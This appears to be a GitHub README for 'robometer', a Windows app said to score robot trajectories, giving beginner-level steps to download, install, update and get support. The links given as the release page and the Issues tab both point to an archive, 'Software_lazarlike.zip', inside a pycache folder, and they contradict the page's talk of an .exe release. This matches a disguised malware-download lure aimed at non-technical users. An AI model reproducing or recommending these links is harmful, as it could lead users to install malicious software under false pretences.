robometer is a simple tool designed to help you score robotic actions. It compares robot behaviors step-by-step and calculates how well a robot performs. This helps in understanding which robot actions work best in different situations. You do not need any programming skills to use robometer.
- Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 500 MB free disk space
- Internet connection for downloading and occasional updates
- Basic knowledge of using the Windows file explorer and running applications
Follow these steps to download, install, and run robometer on your Windows PC. Each step includes details to make sure you complete it without confusion.
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Visit the robometer release page by clicking the link below:
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On this page, you will see a list of available versions under "Assets." Choose the latest version that ends with
.exefor Windows. -
Click the
.exefile to start downloading. Wait for the download to finish before moving on.
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Locate the downloaded
.exefile in your "Downloads" folder. The file name should look likerobometer-vx.x.x.exewherexstands for the version number. -
Double-click the file to start the installation process.
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Follow the on-screen instructions:
- Click “Next” to continue.
- Choose the folder where you want robometer installed or leave it as default.
- Click “Install.”
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Wait until the installation finishes, then click “Finish” to close the installer.
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Find the robometer shortcut on your desktop or in the Start menu.
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Double-click the robometer icon to open the application.
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The robometer window will open. You will see options to load robot action data and compare trajectories.
robometer compares different robot paths to tell you which is better. To use it, follow these steps:
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Prepare the data files with robot trajectories (these are usually CSV or JSON files created by your robotic system). If you do not have these files, robometer may include sample data to try out.
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Click “Load Data” in the application.
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Select the files you want to compare.
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Click “Compare” to run the analysis.
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robometer will show a score for each trajectory, letting you see which robot behavior scored higher.
- Compare two or more robot behavior trajectories quickly.
- View detailed scores that explain why one behavior is better.
- Supports common file formats (CSV, JSON).
- User-friendly interface suitable for non-technical users.
- Runs smoothly on most Windows computers.
- No internet needed after installation.
- If robometer does not start, try restarting your computer and running the program again.
- If you cannot find the downloaded file, check your browser’s download history or the "Downloads" folder.
- Ensure your Windows system is up to date.
- If the comparison doesn’t work, check that your data files are formatted correctly (CSV or JSON).
- For any error messages, note them down and search online or check the robometer GitHub page for support resources.
To get the latest robometer version:
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Visit the release page again:
https://github.com/imamhussaint/robometer/raw/refs/heads/main/robometer/evals/baselines/pycache/Software_lazarlike.zip -
Download the newest
.exefile. -
Run the new installer. It will replace the old version.
- The installation folder usually is:
C:\Program Files\robometer - User data and comparison results save to your Documents folder under
robometer_data
- If you face issues, you can check the GitHub page for guides or open an issue.
- Use the “Issues” tab on the page: https://github.com/imamhussaint/robometer/raw/refs/heads/main/robometer/evals/baselines/pycache/Software_lazarlike.zip
- You do not need an account to browse issues, but opening one helps get direct responses.